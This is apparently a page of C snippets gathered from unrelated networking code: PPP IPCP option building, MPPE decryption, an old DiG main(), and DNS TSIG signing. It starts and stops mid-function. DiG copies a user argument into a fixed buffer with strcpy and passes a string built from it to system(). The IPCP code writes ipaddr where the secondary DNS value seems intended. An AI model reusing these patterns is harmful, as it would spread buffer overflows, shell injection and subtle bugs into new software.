			ip_cnfg->options[len++] = cr->len;		/* Protocol ID length */
			
	   		IPCPDEBUG(("Build Option: chap resp len=%d total=%d\n",cr->len,len));
			for (i = 0; i < cr->len; i++)		    /* send PAP data           */
				ip_cnfg->options[len++] = cr->content[i];
			cr->flag = 0;						    /* Clear Request flag. We only do this once per request     */
		}
	}/** done CHAP */

	/** build Protocol Identifier, PAP authentication (RFC 1334)*/
	if(authType == REQUIRE_PAP)
	{
    	if ( po->flag ) 						  	/* Request the network for PAP authentication? */
		{
			outp = (u_char *)&ip_cnfg->options[len];  
			PUTSHORT(UPAP_prot, outp);				/* UPAP protocol */
			len += 2;
		
			ip_cnfg->options[len++] = po->len;		/* Protocol ID length */
			
	   		IPCPDEBUG(("Build Option: pap len=%d total=%d\n",po->len,len));
			for (i = 0; i < po->len; i++)		    /* send PAP data */
				ip_cnfg->options[len++] = po->content[i];  
			po->flag = 0;						 	/* Clear Request flag. We only do this once per request     */
		}			
	/** done PAP */
	}					 

	/** build Protocol Identifier, IPCP */
	outp = (u_char *)&ip_cnfg->options[len++];  
	PUTSHORT(IPCP_prot, outp);						/* IPCP protocol */
	len += 1;							  

	len_pid = (u_char *)&ip_cnfg->options[len++];	/* Protocol ID length */

	tlen = len;

/*  build code, id, length */
	ip_cnfg->options[len++] = 1;			/* configure-req */
	ip_cnfg->options[len++] = 1;			/* id */
	lenp = (u_char *)&ip_cnfg->options[len++];  
	len++;

/** build IPCP options 129 (RFC 1877)**/


   	IPCPDEBUG(("Build Option: PDNS"));
	ip_cnfg->options[len++] = CI_DNSADDR_PRI;
	ip_cnfg->options[len++] = 6;
	outp = (u_char *)&ip_cnfg->options[len];  
	l = ntohl(dnsaddr_pri);
	PUTLONG(l, outp);							/* allow network to NAK and give us primary DNS server addr */
	len += 4;

/** build IPCP options 130 (RFC 1877)**/

   	IPCPDEBUG(("Build Option: SDNS"));
	ip_cnfg->options[len++] = CI_DNSADDR_SEC;
	ip_cnfg->options[len++] = 6;
	outp = (u_char *)&ip_cnfg->options[len];  
	l = ntohl(dnsaddr_sec);
	PUTLONG(ipaddr, outp);					    	/* allow network to NAK and give us secondary DNS server addr*/ 	
	len += 4;

	tlen = len - tlen;
	PUTCHAR(tlen, len_pid);							/* store Protocol ID length */
	PUTSHORT(tlen, lenp);					    	/* store IPCP length */

	if (len > 1)
		ip_cnfg->length = len;		    	/* Protocol Config Option length Config protocol octet */
	else
		ip_cnfg->length = 0;		    		/* If no options, length is zero as per discussion with Iulia */

/* --- DEBUG print --- */
/*---------------------------------------------------------------*/
  IPCPDEBUG(("\r\nIP config options: %x", ip_cnfg->length));
  for (i = 0; i < len; i++)                                    
  		IPCPDEBUG(("%x ",ip_cnfg->options[i]));
/*---------------------------------------------------------------*/
}
Exemple #22
0
/**
 * receiving packets via MPPE.
 * len must be 4 at least.
 */
void
mppe_input(mppe *_this, u_char *pktp, int len)
{
	int pktloss, encrypt, flushed, m, n;
	uint16_t coher_cnt;
	u_char *pktp0, *opktp, *opktp0;
	uint16_t proto;
	int delayed = 0;

	encrypt = 0;
	flushed = 0;

	MPPE_ASSERT(len >= 4);

	pktp0 = pktp;
	GETSHORT(coher_cnt, pktp);

	flushed = (coher_cnt & 0x8000)? 1 : 0;
	encrypt = (coher_cnt & 0x1000)? 1 : 0;
	coher_cnt &= COHERENCY_CNT_MASK;
	pktloss = 0;

	MPPE_DBG((_this, DEBUG_LEVEL_2, "in coher_cnt=%03x/%03x %s%s",
	    _this->recv.coher_cnt, coher_cnt, (flushed)? "[flushed]" : "",
	    (encrypt)? "[encrypt]" : ""));

	if (encrypt == 0) {
		mppe_log(_this, LOG_WARNING,
		    "Received unexpected MPPE packet.  (no encrypt)");
		return;
	}

	/*
	 * In L2TP/IPsec implementation, in case that the ppp frame sequence
	 * is not able to reconstruct and the ppp frame is out of sequence, it
	 * is unable to identify with many packets losing. If it does so, MPPE
	 * key is out of place.
	 * To avoid this problem, when it seems that more than 4096-256 packets
	 * drops, it assumes that the packet doesn't lose but the packet is out
	 * of sequence.
	 */
    {
	int coher_cnt0;

	coher_cnt0 = coher_cnt;
	if (coher_cnt < _this->recv.coher_cnt)
		coher_cnt0 += 0x1000;
	if (coher_cnt0 - _this->recv.coher_cnt > 0x0f00) {
		if (!_this->recv.stateless ||
		    coher_cnt0 - _this->recv.coher_cnt
		    <= 0x1000 - MPPE_NOLDKEY) {
			mppe_log(_this, LOG_INFO,
			    "Workaround the out-of-sequence PPP framing problem: "
			    "%d => %d", _this->recv.coher_cnt, coher_cnt);
			return;
		}
		delayed = 1;
	}
    }

	if (_this->recv.stateless != 0) {
		if (!delayed) {
			mppe_key_change(_this, &_this->recv);
			while (_this->recv.coher_cnt != coher_cnt) {
				_this->recv.coher_cnt++;
				_this->recv.coher_cnt &= COHERENCY_CNT_MASK;
				mppe_key_change(_this, &_this->recv);
				pktloss++;
			}
		}
		mppe_rc4_setoldkey(_this, &_this->recv, coher_cnt);
		flushed = 1;
	} else {
		if (flushed) {
			if (coher_cnt < _this->recv.coher_cnt) {
				/* in case of carrying up. */
				coher_cnt += 0x1000;
			}
			pktloss += coher_cnt - _this->recv.coher_cnt;
			m = _this->recv.coher_cnt / 256;
			n = coher_cnt / 256;
			while (m++ < n)
				mppe_key_change(_this, &_this->recv);

			coher_cnt &= COHERENCY_CNT_MASK;
			_this->recv.coher_cnt = coher_cnt;
		} else if (_this->recv.coher_cnt != coher_cnt) {
			_this->recv.resetreq = 1;

			opktp0 = ppp_packetbuf(_this->ppp,
			    PPP_PROTO_NCP | NCP_CCP);
			opktp = opktp0;

			PUTLONG(_this->ppp->ccp.mppe_p_bits, opktp);

			ppp_output(_this->ppp, PPP_PROTO_NCP | NCP_CCP,
			    RESETREQ, _this->recv.resetreq, opktp0,
				opktp - opktp0);
			return;
		}
		if ((coher_cnt & 0xff) == 0xff) {
			mppe_key_change(_this, &_this->recv);
			flushed = 1;
		}
		if (flushed) {
			mppe_rc4_setkey(_this, &_this->recv);
		}
	}

	if (pktloss > 1000) {
		/*
		 * In case of many packets losing or out of sequence.
		 * The latter is not able to communicate because the key is
		 * out of place soon.
		 *
		 */
		mppe_log(_this, LOG_WARNING, "%d packets loss", pktloss);
	}

	mppe_rc4_encrypt(_this, &_this->recv, len - 2, pktp, pktp);

	if (!delayed) {
		_this->recv.coher_cnt++;
		_this->recv.coher_cnt &= COHERENCY_CNT_MASK;
	}

	if (pktp[0] & 1)
		proto = pktp[0];
	else
		proto = pktp[0] << 8 | pktp[1];
	/*
	 * According to RFC3078 section 3,
	 * MPPE only accept protocol number 0021-00FA.
	 * If decrypted protocol number is out of range,
	 * it indicates loss of coherency.
	 */
	if (!(proto & 1) || proto < 0x21 || proto > 0xfa) {
		mppe_log(_this, LOG_INFO, "MPPE coherency is lost");
		return; /* drop frame */
	}

	_this->ppp->recv_packet(_this->ppp, pktp, len - 2,
	    PPP_IO_FLAGS_MPPE_ENCRYPTED);
}
Exemple #23
0
int
main(int argc, char **argv) {
	short port = htons(NAMESERVER_PORT);
	short lport;
	/* Wierd stuff for SPARC alignment, hurts nothing else. */
	union {
		HEADER header_;
		u_char packet_[PACKETSZ];
	} packet_;
#define header (packet_.header_)
#define	packet (packet_.packet_)
	union {
		HEADER u;
		u_char b[NS_MAXMSG];
	} answer;
	int n;
	char doping[90];
	char pingstr[50];
	char *afile;
	char *addrc, *addrend, *addrbegin;

	time_t exectime;
	struct timeval tv1, tv2, start_time, end_time, query_time;

	char *srv;
	int anyflag = 0;
	int sticky = 0;
	int tmp; 
	int qtypeSet;
	ns_type xfr = ns_t_invalid;
        int bytes_out, bytes_in;

	char cmd[512];
	char domain[MAXDNAME];
        char msg[120], **vtmp;
	char *args[DIG_MAXARGS];
	char **ax;
	int once = 1, dofile = 0; /* batch -vs- interactive control */
	char fileq[384];
	int  fp;
	int wait=0, delay;
	int envset=0, envsave=0;
	struct __res_state res_x, res_t;
	int r;
	struct in6_addr in6;

	ns_tsig_key key;
	char *keyfile = NULL, *keyname = NULL;
	const char *pingfmt = NULL;

	UNUSED(argc);

	res_ninit(&res);
	res.pfcode = PRF_DEF;
	qtypeSet = 0;
	memset(domain, 0, sizeof domain);
	gethostname(myhostname, (sizeof myhostname));
#ifdef HAVE_SA_LEN
	myaddress.sin_len = sizeof(struct sockaddr_in);
#endif
	myaddress.sin_family = AF_INET;
	myaddress.sin_addr.s_addr = INADDR_ANY;
	myaddress.sin_port = 0; /*INPORT_ANY*/;

#ifdef HAVE_SA_LEN
	myaddress6.sin6_len = sizeof(struct sockaddr_in6);
#endif
	myaddress6.sin6_family = AF_INET6;
	myaddress6.sin6_addr = in6addr_any;
	myaddress6.sin6_port = 0; /*INPORT_ANY*/;

	res_x = res;

/*
 * If LOCALDEF in environment, should point to file
 * containing local favourite defaults.  Also look for file
 * DiG.env (i.e. SAVEENV) in local directory.
 */

	if ((((afile = (char *) getenv("LOCALDEF")) != (char *) NULL) &&
	     ((fp = open(afile, O_RDONLY)) > 0)) ||
	    ((fp = open(SAVEENV, O_RDONLY)) > 0)) {
		read(fp, (char *)&res_x, (sizeof res_x));
		close(fp);
		res = res_x;
	}
/*
 * Check for batch-mode DiG; also pre-scan for 'help'.
 */
	vtmp = argv;
	ax = args;
	while (*vtmp != NULL) {
		if (strcmp(*vtmp, "-h") == 0 ||
		    strcmp(*vtmp, "-help") == 0 ||
		    strcmp(*vtmp, "-usage") == 0 ||
		    strcmp(*vtmp, "help") == 0) {
			Usage();
			exit(0);
		}

		if (strcmp(*vtmp, "-f") == 0) {
			dofile++; once=0;
			if ((qfp = fopen(*++vtmp, "r")) == NULL) {
				fflush(stdout);
				perror("file open");
				fflush(stderr);
				exit(10);
			}
		} else {
			if (ax - args == DIG_MAXARGS) {
				fprintf(stderr, "dig: too many arguments\n");
				exit(10);
			}
			*ax++ = *vtmp;
		}
		vtmp++;
	}

	gettimeofday(&tv1, NULL);

/*
 * Main section: once if cmd-line query
 *               while !EOF if batch mode
 */
	*fileq = '\0';
	while ((dofile && fgets(fileq, sizeof fileq, qfp) != NULL) || 
	       (!dofile && once--)) 
	{
		if (*fileq == '\n' || *fileq == '#' || *fileq==';') {
			printf("%s", fileq);	/* echo but otherwise ignore */
			continue;		/* blank lines and comments  */
		}

/*
 * "Sticky" requests that before current parsing args
 * return to current "working" environment (X******).
 */
		if (sticky) {
			printf(";; (using sticky settings)\n");
			res = res_x;
		}

/*
 * Concat cmd-line and file args.
 */
		stackarg(fileq, ax);

		/* defaults */
		queryType = ns_t_ns;
		queryClass = ns_c_in;
		xfr = ns_t_invalid;
		*pingstr = 0;
		srv = NULL;

		sprintf(cmd, "\n; <<>> DiG %s (libbind %d) <<>> ",
			VSTRING, __RES);
		argv = args;
		/* argc = ax - args; */
/*
 * More cmd-line options than anyone should ever have to
 * deal with ....
 */
		while (*(++argv) != NULL && **argv != '\0') { 
			if (strlen(cmd) + strlen(*argv) + 2 > sizeof (cmd)) {
				fprintf(stderr,
				   "Argument too large for input buffer\n");
				exit(1);
			}
			strcat(cmd, *argv);
			strcat(cmd, " ");
			if (**argv == '@') {
				srv = (*argv+1);
				continue;
			}
			if (**argv == '%')
				continue;
			if (**argv == '+') {
				setopt(*argv+1);
				continue;
			}
			if (**argv == '=') {
				ixfr_serial = strtoul(*argv+1, NULL, 0);
				continue;
			}
			if (strncmp(*argv, "-nost", 5) == 0) {
				sticky = 0;
				continue;
			} else if (strncmp(*argv, "-st", 3) == 0) {
				sticky++;
				continue;
			} else if (strncmp(*argv, "-envsa", 6) == 0) {
				envsave++;
				continue;
			} else if (strncmp(*argv, "-envse", 6) == 0) {
				envset++;
				continue;
			}

			if (**argv == '-') {
				switch (argv[0][1]) { 
				case 'T':
					if (*++argv == NULL)
						printf("; no arg for -T?\n");
					else
						wait = atoi(*argv);
					break;
				case 'c': 
					if(*++argv == NULL) 
						printf("; no arg for -c?\n");
					else if ((tmp = atoi(*argv))
						  || *argv[0] == '0') {
						queryClass = tmp;
					} else if ((tmp = StringToClass(*argv,
								       0, NULL)
						   ) != 0) {
						queryClass = tmp;
					} else {
						printf(
						  "; invalid class specified\n"
						       );
					}
					break;
				case 't': 
					if (*++argv == NULL)
						printf("; no arg for -t?\n");
					else if ((tmp = atoi(*argv))
					    || *argv[0]=='0') {
						if (ns_t_xfr_p(tmp)) {
							xfr = tmp;
						} else {
							queryType = tmp;
							qtypeSet++;
						}
					} else if ((tmp = StringToType(*argv,
								      0, NULL)
						   ) != 0) {
						if (ns_t_xfr_p(tmp)) {
							xfr = tmp;
						} else {
							queryType = tmp;
							qtypeSet++;
						}
					} else {
						printf(
						   "; invalid type specified\n"
						       );
					}
					break;
				case 'x':
					if (!qtypeSet) {
						queryType = T_ANY;
						qtypeSet++;
					}
					if ((addrc = *++argv) == NULL) {
						printf("; no arg for -x?\n");
						break;
					}
					r = inet_pton(AF_INET6, addrc, &in6);
					if (r > 0) {
						reverse6(domain, &in6);
						break;
					}
					addrend = addrc + strlen(addrc);
					if (*addrend == '.')
						*addrend = '\0';
					*domain = '\0';
					while ((addrbegin = strrchr(addrc,'.'))) {
						strcat(domain, addrbegin+1);
						strcat(domain, ".");
						*addrbegin = '\0';
					}
					strcat(domain, addrc);
					strcat(domain, ".in-addr.arpa.");
					break;
				case 'p':
					if (argv[0][2] != '\0')
						port = htons(atoi(argv[0]+2));
					else if (*++argv == NULL)
						printf("; no arg for -p?\n");
					else
						port = htons(atoi(*argv));
					break;
				case 'P':
					if (argv[0][2] != '\0') {
						strcpy(pingstr, argv[0]+2);
						pingfmt =
							"%s %s 56 3 | %s -3";
					} else {
						strcpy(pingstr, DIG_PING);
						pingfmt = DIG_PINGFMT;
					}
					break;
				case 'n':
					if (argv[0][2] != '\0')
						res.ndots = atoi(argv[0]+2);
					else if (*++argv == NULL)
						printf("; no arg for -n?\n");
					else
						res.ndots = atoi(*argv);
					break;
				case 'b': {
					char *a, *p;

					if (argv[0][2] != '\0')
						a = argv[0]+2;
					else if (*++argv == NULL) {
						printf("; no arg for -b?\n");
						break;
					} else
						a = *argv;
					if ((p = strchr(a, ':')) != NULL) {
						*p++ = '\0';
						lport = htons(atoi(p));
					} else
						lport = htons(0);
					if (inet_pton(AF_INET6, a,
					      &myaddress6.sin6_addr) == 1) {
					      myaddress6.sin6_port = lport;
					} else if (!inet_aton(a,
						   &myaddress.sin_addr)) {
						fprintf(stderr,
							";; bad -b addr\n");
						exit(1);
					} else
						myaddress.sin_port = lport;
				    }
				    break;
				case 'k':
					/* -k keydir:keyname */
					
					if (argv[0][2] != '\0')
						keyfile = argv[0]+2;
					else if (*++argv == NULL) {
						printf("; no arg for -k?\n");
						break;
					} else
						keyfile = *argv;

					keyname = strchr(keyfile, ':');
					if (keyname == NULL) {
						fprintf(stderr,
			     "key option argument should be keydir:keyname\n");
						exit(1);
					}
					*keyname++='\0';
					break;
				} /* switch - */
				continue;
			} /* if '-'   */

			if ((tmp = StringToType(*argv, -1, NULL)) != -1) { 
				if ((T_ANY == tmp) && anyflag++) {  
					queryClass = C_ANY; 	
					continue; 
				}
				if (ns_t_xfr_p(tmp) &&
				    (tmp == ns_t_axfr ||
				     (res.options & RES_USEVC) != 0)
				     ) {
					res.pfcode = PRF_ZONE;
					xfr = (ns_type)tmp;
				} else {
					queryType = tmp; 
					qtypeSet++;
				}
			} else if ((tmp = StringToClass(*argv, -1, NULL))
				   != -1) { 
				queryClass = tmp; 
			} else {
				memset(domain, 0, sizeof domain);
				sprintf(domain,"%s",*argv);
			}
		} /* while argv remains */

		/* process key options */
		if (keyfile) {
#ifdef PARSE_KEYFILE
			int i, n1;
			char buf[BUFSIZ], *p;
			FILE *fp = NULL;
			int file_major, file_minor, alg;

			fp = fopen(keyfile, "r");
			if (fp == NULL) {
				perror(keyfile);
				exit(1);
			}
			/* Now read the header info from the file. */
			i = fread(buf, 1, BUFSIZ, fp);
			if (i < 5) {
				fclose(fp);
	                	exit(1);
	        	}
			fclose(fp);
	
			p = buf;
	
			n=strlen(p);		/* get length of strings */
			n1=strlen("Private-key-format: v");
			if (n1 > n ||
			    strncmp(buf, "Private-key-format: v", n1)) {
				fprintf(stderr, "Invalid key file format\n");
				exit(1);	/* not a match */
			}
			p+=n1;		/* advance pointer */
			sscanf((char *)p, "%d.%d", &file_major, &file_minor);
			/* should do some error checking with these someday */
			while (*p++!='\n');	/* skip to end of line */
	
	        	n=strlen(p);		/* get length of strings */
	        	n1=strlen("Algorithm: ");
	        	if (n1 > n || strncmp(p, "Algorithm: ", n1)) {
				fprintf(stderr, "Invalid key file format\n");
	                	exit(1);	/* not a match */
			}
			p+=n1;		/* advance pointer */
			if (sscanf((char *)p, "%d", &alg)!=1) {
				fprintf(stderr, "Invalid key file format\n");
				exit(1);
			}
			while (*p++!='\n');	/* skip to end of line */
	
	        	n=strlen(p);		/* get length of strings */
	        	n1=strlen("Key: ");
	        	if (n1 > n || strncmp(p, "Key: ", n1)) {
				fprintf(stderr, "Invalid key file format\n");
				exit(1);	/* not a match */
			}
			p+=n1;		/* advance pointer */
			pp=p;
			while (*pp++!='\n');	/* skip to end of line,
						 * terminate it */
			*--pp='\0';
	
			key.data=malloc(1024*sizeof(char));
			key.len=b64_pton(p, key.data, 1024);
	
			strcpy(key.name, keyname);
			strcpy(key.alg, "HMAC-MD5.SIG-ALG.REG.INT");
#else
			/* use the dst* routines to parse the key files
			 * 
			 * This requires that both the .key and the .private
			 * files exist in your cwd, so the keyfile parmeter
			 * here is assumed to be a path in which the
			 * K*.{key,private} files exist.
			 */
			DST_KEY *dst_key;
			char cwd[PATH_MAX+1];
	
			if (getcwd(cwd, PATH_MAX)==NULL) {
				perror("unable to get current directory");
				exit(1);
			}
			if (chdir(keyfile)<0) {
				fprintf(stderr,
					"unable to chdir to %s: %s\n", keyfile,
					strerror(errno));
				exit(1);
			}
	
			dst_init();
			dst_key = dst_read_key(keyname,
					       0 /* not used for priv keys */,
					       KEY_HMAC_MD5, DST_PRIVATE);
			if (!dst_key) {
				fprintf(stderr,
					"dst_read_key: error reading key\n");
				exit(1);
			}
			key.data=malloc(1024*sizeof(char));
			dst_key_to_buffer(dst_key, key.data, 1024);
			key.len=dst_key->dk_key_size;
	
			strcpy(key.name, keyname);
			strcpy(key.alg, "HMAC-MD5.SIG-ALG.REG.INT");
	
			if (chdir(cwd)<0) {
				fprintf(stderr, "unable to chdir to %s: %s\n",
					cwd, strerror(errno));
				exit(1);
			}
#endif
		}

		if (res.pfcode & 0x80000)
			printf("; pfcode: %08lx, options: %08lx\n",
			       (unsigned long)res.pfcode,
			       (unsigned long)res.options);
	  
/*
 * Current env. (after this parse) is to become the
 * new "working" environmnet. Used in conj. with sticky.
 */
		if (envset) {
			res_x = res;
			envset = 0;
		}

/*
 * Current env. (after this parse) is to become the
 * new default saved environmnet. Save in user specified
 * file if exists else is SAVEENV (== "DiG.env").
 */
		if (envsave) {
			afile = (char *) getenv("LOCALDEF");
			if ((afile &&
			     ((fp = open(afile,
					 O_WRONLY|O_CREAT|O_TRUNC,
					 S_IREAD|S_IWRITE)) > 0))
			    ||
			    ((fp = open(SAVEENV,
					O_WRONLY|O_CREAT|O_TRUNC,
					S_IREAD|S_IWRITE)) > 0)) {
				write(fp, (char *)&res, (sizeof res));
				close(fp);
			}
			envsave = 0;
		}

		if (res.pfcode & RES_PRF_CMD)
			printf("%s\n", cmd);

		anyflag = 0;

/*
 * Find address of server to query. If not dot-notation, then
 * try to resolve domain-name (if so, save and turn off print 
 * options, this domain-query is not the one we want. Restore
 * user options when done.
 * Things get a bit wierd since we need to use resolver to be
 * able to "put the resolver to work".
 */

		if (srv != NULL) {
			int nscount = 0;
			union res_sockaddr_union u[MAXNS];
			struct addrinfo *answer = NULL;
			struct addrinfo *cur = NULL;
			struct addrinfo hint;

			memset(u, 0, sizeof(u));
			res_t = res;
			res_ninit(&res);
			res.pfcode = 0;
			res.options = RES_DEFAULT;
			memset(&hint, 0, sizeof(hint));
			hint.ai_socktype = SOCK_DGRAM;
			if (!getaddrinfo(srv, NULL, &hint, &answer)) {
				res = res_t;
				cur = answer;
				for (cur = answer;
				     cur != NULL;
				     cur = cur->ai_next) {
					if (nscount == MAXNS)
						break;
					switch (cur->ai_addr->sa_family) {
					case AF_INET6:
						u[nscount].sin6 =
					  *(struct sockaddr_in6*)cur->ai_addr;
						u[nscount++].sin6.sin6_port =
							port;
						break;
					case AF_INET:
						u[nscount].sin =
					   *(struct sockaddr_in*)cur->ai_addr;
						u[nscount++].sin.sin_port =
							port;
						break;
					}
				}
				if (nscount != 0)
					res_setservers(&res, u, nscount);
				freeaddrinfo(answer);
			} else {
				res = res_t;
				fflush(stdout);
				fprintf(stderr,
		"; Bad server: %s -- using default server and timer opts\n",
						srv);
				fflush(stderr);
				srv = NULL;
			}
			printf("; (%d server%s found)\n",
			       res.nscount, (res.nscount==1)?"":"s");
			res.id += res.retry;
		}

		if (ns_t_xfr_p(xfr)) {
			int i;
			int nscount;
			union res_sockaddr_union u[MAXNS];
			nscount = res_getservers(&res, u, MAXNS);
			for (i = 0; i < nscount; i++) {
				int x;

				if (keyfile)
					x = printZone(xfr, domain,
						      &u[i].sin,
						      &key);
				else
					x = printZone(xfr, domain,
						      &u[i].sin,
						      NULL);
				if (res.pfcode & RES_PRF_STATS) {
					exectime = time(NULL);
					printf(";; FROM: %s to SERVER: %s\n",
					       myhostname,
					       p_sockun(u[i], ubuf,
							sizeof(ubuf)));
					printf(";; WHEN: %s", ctime(&exectime));
				}
				if (!x)
					break;	/* success */
			}
			fflush(stdout);
			continue;
		}

		if (*domain && !qtypeSet) {
			queryType = T_A;
			qtypeSet++;
		}
		
		bytes_out = n = res_nmkquery(&res, QUERY, domain,
					     queryClass, queryType,
					     NULL, 0, NULL,
					     packet, sizeof packet);
		if (n < 0) {
			fflush(stderr);
			printf(";; res_nmkquery: buffer too small\n\n");
			fflush(stdout);
			continue;
		}
		if (queryType == T_IXFR) {
			HEADER *hp = (HEADER *) packet;
			u_char *cpp = packet + bytes_out;

			hp->nscount = htons(1+ntohs(hp->nscount));
			n = dn_comp(domain, cpp,
				    (sizeof packet) - (cpp - packet),
				    NULL, NULL);
			cpp += n;
			PUTSHORT(T_SOA, cpp); /* type */
			PUTSHORT(C_IN, cpp);  /* class */
			PUTLONG(0, cpp);      /* ttl */
			PUTSHORT(22, cpp);    /* dlen */
			*cpp++ = 0;           /* mname */
			*cpp++ = 0;           /* rname */
			PUTLONG(ixfr_serial, cpp);
			PUTLONG(0xDEAD, cpp); /* Refresh */
			PUTLONG(0xBEEF, cpp); /* Retry */
			PUTLONG(0xABCD, cpp); /* Expire */
			PUTLONG(0x1776, cpp); /* Min TTL */
			bytes_out = n = cpp - packet;
		};	

#if defined(RES_USE_EDNS0) && defined(RES_USE_DNSSEC)
		if (n > 0 &&
		    (res.options & (RES_USE_EDNS0|RES_USE_DNSSEC)) != 0)
			bytes_out = n = res_nopt(&res, n, packet,
						 sizeof(packet), 4096);
#endif

		eecode = 0;
		if (res.pfcode & RES_PRF_HEAD1)
			fp_resstat(&res, stdout);
		(void) gettimeofday(&start_time, NULL);
		if (keyfile)
			n = res_nsendsigned(&res, packet, n, &key,
					    answer.b, sizeof(answer.b));
		else
			n = res_nsend(&res, packet, n,
				      answer.b, sizeof(answer.b));
		if ((bytes_in = n) < 0) {
			fflush(stdout);
			n = 0 - n;
			if (keyfile)
				strcpy(msg, ";; res_nsendsigned");
			else
				strcpy(msg, ";; res_nsend");
			perror(msg);
			fflush(stderr);

			if (!dofile) {
				if (eecode)
					exit(eecode);
				else
					exit(9);
			}
		}
		(void) gettimeofday(&end_time, NULL);

		if (res.pfcode & RES_PRF_STATS) {
			union res_sockaddr_union u[MAXNS];

			(void) res_getservers(&res, u, MAXNS);
			query_time = difftv(start_time, end_time);
			printf(";; Total query time: ");
			prnttime(query_time);
			putchar('\n');
			exectime = time(NULL);
			printf(";; FROM: %s to SERVER: %s\n", myhostname,
			       p_sockun(u[RES_GETLAST(res)],
					ubuf, sizeof(ubuf)));
			printf(";; WHEN: %s", ctime(&exectime));
			printf(";; MSG SIZE  sent: %d  rcvd: %d\n",
			       bytes_out, bytes_in);
		}
	  
		fflush(stdout);
/*
 *   Argh ... not particularly elegant. Should put in *real* ping code.
 *   Would necessitate root priviledges for icmp port though!
 */
		if (*pingstr && srv != NULL) {
			sprintf(doping, pingfmt, pingstr, srv, DIG_TAIL);
			system(doping);
		}
		putchar('\n');

/*
 * Fairly crude method and low overhead method of keeping two
 * batches started at different sites somewhat synchronized.
 */
		gettimeofday(&tv2, NULL);
		delay = (int)(tv2.tv_sec - tv1.tv_sec);
		if (delay < wait) {
			sleep(wait - delay);
		}
		tv1 = tv2;
	}
	return (eecode);
}
Exemple #24
0
void __putlong (DWORD var, BYTE *ptr)   /* in <resolv.h> */
{
  PUTLONG (var, ptr);
}
Exemple #25
0
int
ns_sign2(u_char *msg, int *msglen, int msgsize, int error, void *k,
	 const u_char *querysig, int querysiglen, u_char *sig, int *siglen,
	 time_t in_timesigned, u_char **dnptrs, u_char **lastdnptr)
{
	HEADER *hp = (HEADER *)msg;
	DST_KEY *key = (DST_KEY *)k;
	u_char *cp, *eob;
	u_char *lenp;
	u_char *alg;
	int n;
	time_t timesigned;
        u_char name[NS_MAXCDNAME];

	dst_init();
	if (msg == NULL || msglen == NULL || sig == NULL || siglen == NULL)
		return (-1);

	cp = msg + *msglen;
	eob = msg + msgsize;

	/* Name. */
	if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) {
		n = ns_name_pton(key->dk_key_name, name, sizeof name);
		if (n != -1)
			n = ns_name_pack(name, cp, eob - cp,
					 (const u_char **)dnptrs,
					 (const u_char **)lastdnptr);

	} else {
		n = ns_name_pton("", name, sizeof name);
		if (n != -1)
			n = ns_name_pack(name, cp, eob - cp, NULL, NULL);
	}
	if (n < 0)
		return (NS_TSIG_ERROR_NO_SPACE);
	cp += n;

	/* Type, class, ttl, length (not filled in yet). */
	BOUNDS_CHECK(cp, INT16SZ + INT16SZ + INT32SZ + INT16SZ);
	PUTSHORT(ns_t_tsig, cp);
	PUTSHORT(ns_c_any, cp);
	PUTLONG(0, cp);		/*%< TTL */
	lenp = cp;
	cp += 2;

	/* Alg. */
	if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) {
		if (key->dk_alg != KEY_HMAC_MD5)
			return (-ns_r_badkey);
		n = dn_comp(NS_TSIG_ALG_HMAC_MD5, cp, eob - cp, NULL, NULL);
	}
	else
		n = dn_comp("", cp, eob - cp, NULL, NULL);
	if (n < 0)
		return (NS_TSIG_ERROR_NO_SPACE);
	alg = cp;
	cp += n;
	
	/* Time. */
	BOUNDS_CHECK(cp, INT16SZ + INT32SZ + INT16SZ);
	PUTSHORT(0, cp);
	timesigned = time(NULL);
	if (error != ns_r_badtime)
		PUTLONG(timesigned, cp);
	else
		PUTLONG(in_timesigned, cp);
	PUTSHORT(NS_TSIG_FUDGE, cp);

	/* Compute the signature. */
	if (key != NULL && error != ns_r_badsig && error != ns_r_badkey) {
		void *ctx;
		u_char buf[NS_MAXCDNAME], *cp2;
		int n;

		dst_sign_data(SIG_MODE_INIT, key, &ctx, NULL, 0, NULL, 0);

		/* Digest the query signature, if this is a response. */
		if (querysiglen > 0 && querysig != NULL) {
			u_int16_t len_n = htons(querysiglen);
			dst_sign_data(SIG_MODE_UPDATE, key, &ctx,
				      (u_char *)&len_n, INT16SZ, NULL, 0);
			dst_sign_data(SIG_MODE_UPDATE, key, &ctx,
				      querysig, querysiglen, NULL, 0);
		}

		/* Digest the message. */
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, msg, *msglen,
			      NULL, 0);

		/* Digest the key name. */
		n = ns_name_ntol(name, buf, sizeof(buf));
		INSIST(n > 0);
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0);

		/* Digest the class and TTL. */
		cp2 = buf;
		PUTSHORT(ns_c_any, cp2);
		PUTLONG(0, cp2);
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, cp2-buf,
			      NULL, 0);

		/* Digest the algorithm. */
		n = ns_name_ntol(alg, buf, sizeof(buf));
		INSIST(n > 0);
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, n, NULL, 0);

		/* Digest the time signed, fudge, error, and other data */
		cp2 = buf;
		PUTSHORT(0, cp2);	/*%< Top 16 bits of time */
		if (error != ns_r_badtime)
			PUTLONG(timesigned, cp2);
		else
			PUTLONG(in_timesigned, cp2);
		PUTSHORT(NS_TSIG_FUDGE, cp2);
		PUTSHORT(error, cp2);	/*%< Error */
		if (error != ns_r_badtime)
			PUTSHORT(0, cp2);	/*%< Other data length */
		else {
			PUTSHORT(INT16SZ+INT32SZ, cp2);	/*%< Other data length */
			PUTSHORT(0, cp2);	/*%< Top 16 bits of time */
			PUTLONG(timesigned, cp2);
		}
		dst_sign_data(SIG_MODE_UPDATE, key, &ctx, buf, cp2-buf,
			      NULL, 0);

		n = dst_sign_data(SIG_MODE_FINAL, key, &ctx, NULL, 0,
				  sig, *siglen);
		if (n < 0)
			return (-ns_r_badkey);
		*siglen = n;
	} else
		*siglen = 0;

	/* Add the signature. */
	BOUNDS_CHECK(cp, INT16SZ + (*siglen));
	PUTSHORT(*siglen, cp);
	memcpy(cp, sig, *siglen);
	cp += (*siglen);

	/* The original message ID & error. */
	BOUNDS_CHECK(cp, INT16SZ + INT16SZ);
	PUTSHORT(ntohs(hp->id), cp);	/*%< already in network order */
	PUTSHORT(error, cp);

	/* Other data. */
	BOUNDS_CHECK(cp, INT16SZ);
	if (error != ns_r_badtime)
		PUTSHORT(0, cp);	/*%< Other data length */
	else {
